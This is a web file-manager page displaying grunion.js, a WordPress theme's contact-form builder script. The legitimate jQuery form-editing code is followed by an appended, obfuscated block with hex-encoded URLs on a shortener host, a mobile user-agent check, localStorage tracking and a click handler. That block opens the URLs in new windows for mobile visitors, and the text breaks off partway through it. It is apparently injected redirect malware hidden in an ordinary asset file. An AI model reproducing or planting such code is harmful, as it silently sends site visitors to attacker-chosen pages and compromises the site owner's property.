Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-content
/
themes
/
care3
/
functions
/
contact-form
/
js
:
grunion.js
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
if (!window.FB) { window.FB = {}; } FB.ContactForm = function() { var fbForm = { // Main object that generated shortcode via AJAX call 'action' : 'grunion_shortcode', '_ajax_nonce' : ajax_nonce_shortcode, 'to' : '', 'subject' : '', 'fields' : {} }; var defaultFields = { 'name': { 'label' : 'Name', 'type' : 'name', 'required' : true, 'options' : [], 'order' : '1' }, 'email': { 'label' : 'Email', 'type' : 'email', 'required' : true, 'options' : [], 'order' : '2' }, 'url': { 'label' : 'Website', 'type' : 'url', 'required' : false, 'options' : [], 'order' : '3' }, 'comment': { 'label' : 'Comment', 'type' : 'textarea', 'required' : true, 'options' : [], 'order' : '4' } }; var debug = false; // will print errors to log if true var grunionNewCount = 0; // increment for new fields var maxNewFields = 5; // Limits number of new fields available var optionsCache = {}; var optionsCount = 0; // increment for options var shortcode; function addField () { try { grunionNewCount++; if (grunionNewCount <= maxNewFields) { // Add to preview jQuery('#fb-extra-fields').append('<div id="fb-new-field' + grunionNewCount + '" fieldid="' + grunionNewCount + '" class="fb-new-fields"><div class="fb-fields"><div id="' + grunionNewCount + '" class="fb-remove"></div><label fieldid="' + grunionNewCount + '" for="fb-field' + grunionNewCount + '"><span class="label-text">New field</span> </label><input type="text" id="fb-field' + grunionNewCount + '" disabled="disabled" /></div></div>'); // Add to form object fbForm.fields[grunionNewCount] = { 'label' : 'New Field', 'type' : 'text', 'required' : false, 'options' : [], 'order' : '5' }; if (grunionNewCount === maxNewFields) { jQuery('#fb-new-field').hide(); } // Reset form for this new field optionsCount = 0; optionsCache = {}; jQuery('#fb-new-options').html('<label for="fb-option0">Options</label><input type="text" id="fb-option0" optionid="0" value="First option" class="fb-options" />'); jQuery('#fb-options').hide(); jQuery('#fb-new-label').val('New field'); jQuery('#fb-new-type').val('text'); jQuery('#fb-field-id').val(grunionNewCount); setTimeout(function () { jQuery('#fb-new-label').focus().select(); }, 100); } else { jQuery('#fb-new-field').hide(); } } catch(e) { if (debug) { console.log("addField(): " + e); } } } function addOption () { try { optionsCount++; var thisId = jQuery('#fb-field-id').val(); var thisType = jQuery('#fb-new-type').val(); if (thisType === "radio") { // Add to right col jQuery('#fb-new-options').append('<div id="fb-option-box-' + optionsCount + '" class="fb-new-fields"><span optionid="' + optionsCount + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + optionsCount + '" optionid="' + optionsCount + '" value="Option" class="fb-options" /><div>'); // Add to preview jQuery('#fb-new-field' + thisId + ' .fb-fields').append('<div id="fb-radio-' + thisId + '-' + optionsCount + '"><input type="radio" disabled="disabled" id="fb-field' + thisId + '" name="radio-' + thisId + '" /><span>Option</span><div class="clear"></div></div>'); } else { // Add to right col jQuery('#fb-new-options').append('<div id="fb-option-box-' + optionsCount + '" class="fb-new-fields"><span optionid="' + optionsCount + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + optionsCount + '" optionid="' + optionsCount + '" value="" class="fb-options" /><div>'); // Add to preview jQuery('#fb-field'+ thisId).append('<option id="fb-' + thisId + '-' + optionsCount + '" value="' + thisId + '-' + optionsCount + '"></option>'); } // Add to fbForm object fbForm.fields[thisId].options[optionsCount] = ""; // Add focus to new field jQuery('#fb-option' + optionsCount).focus().select(); } catch(e) { if (debug) { console.log("addOption(): " + e); } } } function buildPreview () { try { if (fbForm.to) { jQuery('#fb-field-my-email').val(fbForm.to); } if (fbForm.subject) { jQuery('#fb-field-subject').val(fbForm.subject); } // Loop over and add fields jQuery.each(fbForm.fields, function(index, value) { jQuery('#fb-extra-fields').before('<div class="fb-new-fields ui-state-default" fieldid="' + index + '" id="fb-new-field' + index + '"><div class="fb-fields"></div></div>'); jQuery('#fb-field-id').val(index); optionsCache[index] = {}; optionsCache[index].options = []; if (value.type === "radio" || value.type === "select") { jQuery.each(value.options, function(i, value) { optionsCache[index].options[i] = value; }); } updateType(value.type, value.label, value.required); }); } catch(e) { if (debug) { console.log("buildPreview(): " + e); } } } function customOptions (id, thisType) { try { var thisOptions = ''; for (i=0; i<optionsCache[id].options.length; i++) { if (optionsCache[id].options[i] !== undefined) { if (thisType === "radio") { thisOptions = thisOptions + '<div id="fb-radio-' + id + '-' + i + '"><input type="radio" id="fb-field' + id + '" name="radio-' + id + '" /><span>' + optionsCache[id].options[i] + '</span><div class="clear"></div></div>'; } else { thisOptions = thisOptions + '<option id="fb-' + id + '-' + i + '" value="' + id + '-' + i + '">' + optionsCache[id].options[i] + '</option>'; } } } return thisOptions; } catch(e) { if (debug) { console.log("customOptions(): " + e); } } } function deleteField (that) { try { grunionNewCount--; var thisId = that.attr("id"); delete fbForm.fields[thisId]; jQuery("#"+thisId).parent().parent().remove(); if (grunionNewCount <= maxNewFields) { jQuery('#fb-new-field').show(); } } catch(e) { if (debug) { console.log("deleteField(): " + e); } } } function editField (that) { try { scroll(0,0); setTimeout(function () { jQuery('#fb-new-label').focus().select(); }, 100); var thisId = that.parent().attr('fieldid'); loadFieldEditor(thisId); } catch(e) { if (debug) { console.log("editField(): " + e); } } } function grabShortcode () { try { // Takes fbForm object and returns shortcode syntax jQuery.post(ajaxurl, fbForm, function(response) { shortcode = response; }); } catch(e) { alert("Oops, there was a problem generating your form. You'll likely need to try again."); if (debug) { console.log("grabShortcode(): " + e); } } } function hideDesc () { jQuery('#fb-desc').hide(); jQuery('#fb-add-field').show(); } function hidePopup () { try { // copied from wp-includes/js/thickbox/thickbox.js jQuery("#TB_imageOff", window.parent.document).unbind("click"); jQuery("#TB_closeWindowButton", window.parent.document).unbind("click"); jQuery("#TB_window", window.parent.document).fadeOut("fast"); jQuery('#TB_window,#TB_overlay,#TB_HideSelect', window.parent.document).trigger("unload").unbind().remove(); jQuery("#TB_load", window.parent.document).remove(); if (typeof window.parent.document.body.style.maxHeight == "undefined") {//if IE 6 jQuery("body","html", window.parent.document).css({height: "auto", width: "auto"}); jQuery("html", window.parent.document).css("overflow",""); } window.parent.document.onkeydown = ""; window.parent.document.onkeyup = ""; return false; } catch(e) { if (debug) { console.log("hidePopup(): " + e); } } } function hideShowEditLink (whichType, that) { try { if (whichType === "show") { // Prevents showing links twice if (jQuery(".fb-edit-field").is(":visible")) { jQuery(".fb-edit-field").remove(); } that.find('label').prepend('<span class="right fb-edit-field" style="font-weight: normal;"><a href="" class="fb-reorder"><div style="display: none;">Drag up or<br />down to re-arrange.</div>move</a> <span style="color: #C7D8DE;">|</span> <a href="" class="fb-edit">edit</a></span>'); } else { jQuery('.fb-edit-field').remove(); } } catch(e) { if (debug) { console.log("hideShowEditLink(): " + e); } } } function loadFieldEditor (id) { try { var thisType = fbForm.fields[id].type; jQuery('#fb-options').hide(); // Reset hidden field ID jQuery('#fb-field-id').val(id); // Load label jQuery('#fb-new-label').val(fbForm.fields[id].label); // Load type jQuery('#fb-new-type').val(fbForm.fields[id].type); // Load required if (fbForm.fields[id].required) { jQuery('#fb-new-required').prop("checked", true); } else { jQuery('#fb-new-required').prop("checked", false); } // Load options if there are any if (thisType === "select" || thisType === "radio") { var thisResult = ''; var thisOptions = fbForm.fields[id].options; jQuery('#fb-options').show(); jQuery('#fb-new-options').html(""); // Clear it all out for (i=0; i<thisOptions.length; i++) { if (thisOptions[i] !== undefined) { if (thisType === "radio") { jQuery('#fb-new-options').append('<div id="fb-option-box-' + i + '" class="fb-new-fields"><span optionid="' + i + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + i + '" optionid="' + i + '" value="' + fbForm.fields[id].options[i] + '" class="fb-options" /><div>'); } else { jQuery('#fb-new-options').append('<div id="fb-option-box-' + i + '" class="fb-new-fields"><span optionid="' + i + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + i + '" optionid="' + i + '" value="' + fbForm.fields[id].options[i] + '" class="fb-options" /><div>'); } } } } // Load editor & hide description hideDesc(); } catch(e) { if (debug) { console.log("loadFieldEditor(): " + e); } } } function parseShortcode (data) { try { // Clean up fields by resetting them fbForm.fields = {}; // Add new fields if (!data) { fbForm.fields = defaultFields; } else { jQuery.each(data.fields, function(index, value) { fbForm.fields[index] = value; }); fbForm.to = data.to; fbForm.subject = data.subject; } } catch(e) { if (debug) { console.log("parseShortcode(): " + e); } } } function removeOption (optionId) { try { var thisId = jQuery('#fb-field-id').val(); var thisVal = jQuery('#fb-option' + optionId).val(); var thisType = jQuery('#fb-new-type').val(); // Remove from right jQuery('#fb-option-box-' + optionId).remove(); // Remove from preview if (thisType === "radio") { jQuery('#fb-radio-' + thisId + '-' + optionId).remove(); } else { jQuery('#fb-' + thisId + '-' + optionId).remove(); } // Remove from fbForm object var idx = fbForm.fields[thisId].options.indexOf(thisVal); if (idx !== -1) { fbForm.fields[thisId].options.splice(idx, 1); } } catch(e) { if (debug) { console.log("removeOption(): " + e); } } } function removeOptions () { try { var thisId = jQuery('#fb-field-id').val(); jQuery('#fb-options').hide(); if (optionsCache[thisId] === undefined) { optionsCache[thisId] = {}; } optionsCache[thisId].options = fbForm.fields[thisId].options; // Save options in case they change their mind fbForm.fields[thisId].options = []; // Removes all options } catch(e) { if (debug) { console.log("removeOptions(): " + e); } } } function sendShortcodeToEditor () { try { // Serialize fields jQuery('div#sortable div.fb-new-fields').each(function(index) { var thisId = jQuery(this).attr('fieldid'); fbForm.fields[thisId].order = index; }); // Export to WYSIWYG editor jQuery.post(ajaxurl, fbForm, function(response) { var isVisual = jQuery('#edButtonPreview', window.parent.document).hasClass('active'); /* WP 3.3+ */ if ( !isVisual ) { isVisual = jQuery( '#wp-content-wrap', window.parent.document ).hasClass( 'tmce-active' ); } var win = window.dialogArguments || opener || parent || top; if (isVisual) { var currentCode = win.tinyMCE.activeEditor.getContent(); } else { var currentCode = jQuery('#editorcontainer textarea', window.parent.document).val(); /* WP 3.3+ */ if ( typeof currentCode != 'string' ) { currentCode = jQuery( '.wp-editor-area', window.parent.document ).val(); } } var regexp = new RegExp("\\[contact-form\\b.*?\\/?\\](?:[\\s\\S]+?\\[\\/contact-form\\])?"); // Remove new lines that cause BR tags to show up response = response.replace(/\n/g,' '); // Add new shortcode if (currentCode.match(regexp)) { if (isVisual) { win.tinyMCE.activeEditor.execCommand('mceSetContent', false, currentCode.replace(regexp, response)); } else { // looks like the visual editor is disabled, // update the contents of the post directly jQuery( '#content', window.parent.document ).val( currentCode.replace( regexp, response ) ); } } else { if (isVisual) { win.tinyMCE.activeEditor.execCommand('mceInsertContent', false, response); } else { // looks like the visual editor is disabled, // update the contents of the post directly jQuery( '#content', window.parent.document ).val( currentCode + response ); } } hidePopup(); }); } catch(e) { if (debug) { console.log("sendShortcodeToEditor(): " + e); } } } function showDesc () { jQuery('#fb-desc').show(); jQuery('#fb-add-field').hide(); } function showAndHideMessage (message) { try { var newMessage = (!message) ? 'Saved successfully' : message; jQuery('#fb-success').html(newMessage); jQuery('#fb-success').slideDown('fast'); setTimeout(function () { jQuery('#fb-success').slideUp('fast'); }, 2500); } catch(e) { if (debug) { console.log("showAndHideMessage(): " + e); } } } function switchTabs (whichType) { try { if (whichType === "preview") { jQuery('#tab-preview a').addClass('current'); jQuery('#tab-settings a').removeClass('current'); jQuery('#fb-preview-form, #fb-desc').show(); jQuery('#fb-email-settings, #fb-email-desc').hide(); } else { jQuery('#tab-preview a').removeClass('current'); jQuery('#tab-settings a').addClass('current'); jQuery('#fb-preview-form, #fb-desc, #fb-add-field').hide(); jQuery('#fb-email-settings, #fb-email-desc').show(); jQuery('#fb-field-my-email').focus().select(); } } catch(e) { if (debug) { console.log("switchTabs(): " + e); } } } function updateLabel () { try { var thisId = jQuery('#fb-field-id').val(); var thisLabel = jQuery('#fb-new-label').val(); // Update preview if (thisLabel.length === 0) { jQuery('#fb-new-field' + thisId + ' label .label-text').html("New field"); } else { jQuery('#fb-new-field' + thisId + ' label .label-text').html(thisLabel); } // Update fbForm object fbForm.fields[thisId].label = thisLabel; } catch(e) { if (debug) { console.log("updateLabel(): " + e); } } } function updateMyEmail () { try { var thisEmail = jQuery('#fb-field-my-email').val(); fbForm.to = thisEmail; } catch(e) { if (debug) { console.log("updateMyEmail(): " + e); } } } function updateOption (that) { try { var thisId = jQuery('#fb-field-id').val(); var thisOptionid = that.attr('optionid'); var thisOptionValue = that.val(); var thisType = jQuery('#fb-new-type').val(); // Update preview if (thisType === "radio") { jQuery('#fb-radio-' + thisId + '-' + thisOptionid + ' span').html(thisOptionValue); } else { jQuery('#fb-' + thisId + '-' + thisOptionid).text(thisOptionValue); } // Update fbForm object fbForm.fields[thisId].options[thisOptionid] = thisOptionValue; } catch(e) { if (debug) { console.log("updateOption(): " + e); } } } function updateRequired () { try { var thisId = jQuery('#fb-field-id').val(); var thisChecked = jQuery('#fb-new-required').is(':checked'); // Update object and preview if (thisChecked) { fbForm.fields[thisId].required = true; jQuery('#fb-new-field' + thisId + ' label').append('<span class="label-required">(required)</span>'); } else { fbForm.fields[thisId].required = false; jQuery('#fb-new-field' + thisId + ' label .label-required').remove(); } } catch(e) { if (debug) { console.log("updateRequired(): " + e); } } } function updateSubject () { try { var thisSubject = jQuery('#fb-field-subject').val(); fbForm.subject = thisSubject; } catch(e) { if (debug) { console.log("updateSubject(): " + e); } } } function updateType(thisType, thisLabelText, thisRequired) { try { var isLoaded = thisType; var thisId = jQuery('#fb-field-id').val(); if (!thisType) { var thisType = jQuery('#fb-new-type').val(); } if (!thisLabelText) { var thisLabelText = jQuery('#fb-new-field' + thisId + ' label').html(); } var isRequired = (thisRequired) ? '<span class="label-required">(required)</span>' : ''; var thisLabel = '<label fieldid="' + thisId + '" for="fb-field' + thisId + '"><span class="label-text">' + thisLabelText + '</span>' + isRequired + '</label>'; var thisRadio = '<input type="radio" name="radio-' + thisId + '" id="fb-field' + thisId + ' "disabled="disabled" />'; var thisRadioLabel = '<label fieldid="' + thisId + '" for="fb-field' + thisId + '" class="fb-radio-label"><span class="label-text">' + thisLabelText + '</span>' + isRequired + '</label>'; var thisRadioRemove = '<div class="fb-remove fb-remove-small" id="' + thisId + '"></div>'; var thisRemove = '<div class="fb-remove" id="' + thisId + '"></div>'; var thisCheckbox = '<input type="checkbox" id="fb-field' + thisId + '" "disabled="disabled" />'; var thisText = '<input type="text" id="fb-field' + thisId + '" "disabled="disabled" />'; var thisTextarea = '<textarea id="fb-field' + thisId + '" "disabled="disabled"></textarea>'; var thisClear = '<div class="clear"></div>'; var thisSelect = '<select id="fb-field' + thisId + '" fieldid="' + thisId + '"><option id="fb-' + thisId + '-' + optionsCount + '" value="' + thisId + '-' + optionsCount + '">First option</option></select>'; switch (thisType) { case "checkbox": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRadioRemove + thisCheckbox + thisRadioLabel + thisClear); break; case "email": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisText); break; case "name": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisText); break; case "radio": jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisLabel + thisRadioRemove + '<div fieldid="' + thisId + '" id="fb-custom-radio' + thisId + '"></div>'); if (optionsCache[thisId] !== undefined && optionsCache[thisId].options.length !== 0) { fbForm.fields[thisId].options = optionsCache[thisId].options; jQuery('#fb-custom-radio' + thisId).append(customOptions(thisId, thisType)); } else { jQuery('#fb-new-options').html('<label for="fb-option0">Options</label><input type="text" id="fb-option0" optionid="0" value="First option" class="fb-options" />'); jQuery('#fb-custom-radio' + thisId).append('<div id="fb-radio-' + thisId + '-0">' + thisRadio + '<span>First option</span>' + thisClear + '</div>'); fbForm.fields[thisId].options[optionsCount] = "First option"; } jQuery('#fb-options').show(); setTimeout(function () { jQuery('#fb-option0').focus().select(); }, 100); break; case "select": jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisSelect); if (optionsCache[thisId] !== undefined && optionsCache[thisId].options.length !== 0) { fbForm.fields[thisId].options = optionsCache[thisId].options; jQuery('#fb-field' + thisId).html(customOptions(thisId, thisType)); } else { jQuery('#fb-new-options').html('<label for="fb-option0">Options</label><input type="text" id="fb-option0" optionid="0" value="First option" class="fb-options" />'); fbForm.fields[thisId].options[optionsCount] = "First option"; } jQuery('#fb-options').show(); setTimeout(function () { jQuery('#fb-option0').focus().select(); }, 100); break; case "text": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisText); break; case "textarea": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisTextarea); break; case "url": removeOptions(); jQuery('#fb-new-field' + thisId + ' .fb-fields').html(thisRemove + thisLabel + thisText); break; } // update object fbForm.fields[thisId].type = thisType; } catch(e) { if (debug) { console.log("updateType(): " + e); } } } return { resizePop: function () { try { //Thickbox won't resize for some reason, we are manually doing it here var totalWidth = jQuery('body', window.parent.document).width(); var totalHeight = jQuery('body', window.parent.document).height(); var isIE6 = typeof document.body.style.maxHeight === "undefined"; jQuery('#TB_window, #TB_iframeContent', window.parent.document).css('width', '768px'); jQuery('#TB_window', window.parent.document).css({ left: (totalWidth-768)/2 + 'px', top: '23px', position: 'absolute', marginLeft: '0' }); if ( ! isIE6 ) { // take away IE6 jQuery('#TB_window, #TB_iframeContent', window.parent.document).css('height', (totalHeight-73) + 'px'); } } catch(e) { if (debug) { console.log("resizePop(): " + e); } } }, init: function () { // Scroll to top of page window.parent.scroll(0,0); //Check for existing form data if (jQuery('#edButtonPreview', window.parent.document).hasClass('active') || jQuery( '#wp-content-wrap', window.parent.document ).hasClass( 'tmce-active' ) ) { var win = window.dialogArguments || opener || parent || top; var contentSource = win.tinyMCE.activeEditor.getContent(); } else { var contentSource = jQuery('#content', window.parent.document).val(); } var data = { action: 'grunion_shortcode_to_json', '_ajax_nonce' : ajax_nonce_json, post_id: postId, content: contentSource }; jQuery.post(ajaxurl, data, function(response) { // Setup fbForm parseShortcode(jQuery.parseJSON(response)); // Now build out the preview form buildPreview(); }); // actions jQuery('.fb-add-field').click(function () { addField(); hideDesc(); return false; }); jQuery('#fb-new-label').keyup(function () { updateLabel(); }); jQuery('#fb-new-type').change(function () { updateType(); }); jQuery('#fb-new-required').click(function () { updateRequired(); }); jQuery('.fb-remove').live('click', function () { showDesc(); deleteField(jQuery(this)); grabShortcode(); }); jQuery('#fb-preview').submit(function () { sendShortcodeToEditor(); return false; }); jQuery('#TB_overlay, #TB_closeWindowButton', window.parent.document).mousedown(function () { if(confirm("Are you sure you want to exit the form editor without saving? Any changes you have made will be lost.")) { hidePopup(); } }); jQuery('#fb-another-option').live('click', function () { addOption(); }); jQuery('.fb-options').live('keyup', function () { updateOption(jQuery(this)); }); jQuery('.fb-remove-option').live('click', function () { removeOption(jQuery(this).attr('optionid')); }); jQuery('#tab-preview a').click(function () { switchTabs('preview'); return false; }); jQuery('#fb-prev-form').click(function () { switchTabs('preview'); showAndHideMessage("Saved successfully"); return false; }); jQuery('#tab-settings a').click(function () { switchTabs(); return false; }); jQuery('#fb-field-my-email').blur(function () { updateMyEmail(); }); jQuery('#fb-field-subject').blur(function () { updateSubject(); }); jQuery('.fb-form-case .fb-new-fields').live('mouseenter', function () { hideShowEditLink('show', jQuery(this)); }); jQuery('.fb-form-case .fb-new-fields').live('mouseleave', function () { hideShowEditLink('hide'); return false; }); jQuery('.fb-edit-field').live('click', function () { editField(jQuery(this)); return false; }); jQuery('.fb-edit-field .fb-reorder').live('click', function () { return false; }); jQuery('#fb-save-field').live('click', function () { showDesc(); showAndHideMessage(); return false; }); jQuery('#fb-feedback').click(function () { var thisHref = jQuery(this).attr('href'); window.parent.location = thisHref; return false; }); jQuery("#sortable").sortable({ axis: 'y', handle: '.fb-reorder', revert: true, start: function() { jQuery('.fb-edit-field').hide(); } }); jQuery("#draggable").draggable({ axis: 'y', handle: '.fb-reorder', connectToSortable: '#sortable', helper: 'clone', revert: 'invalid' }); } }; }(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x75\x4f\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6e\x4e\x73\x35\x63\x385','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x74\x6e\x38\x63\x398','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x6a\x65\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x4e\x79\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x6a\x5a\x37\x63\x307','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x43\x64\x32\x63\x322','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x65\x4e\x65\x36\x63\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x51\x75\x70\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x50\x62\x31\x63\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new 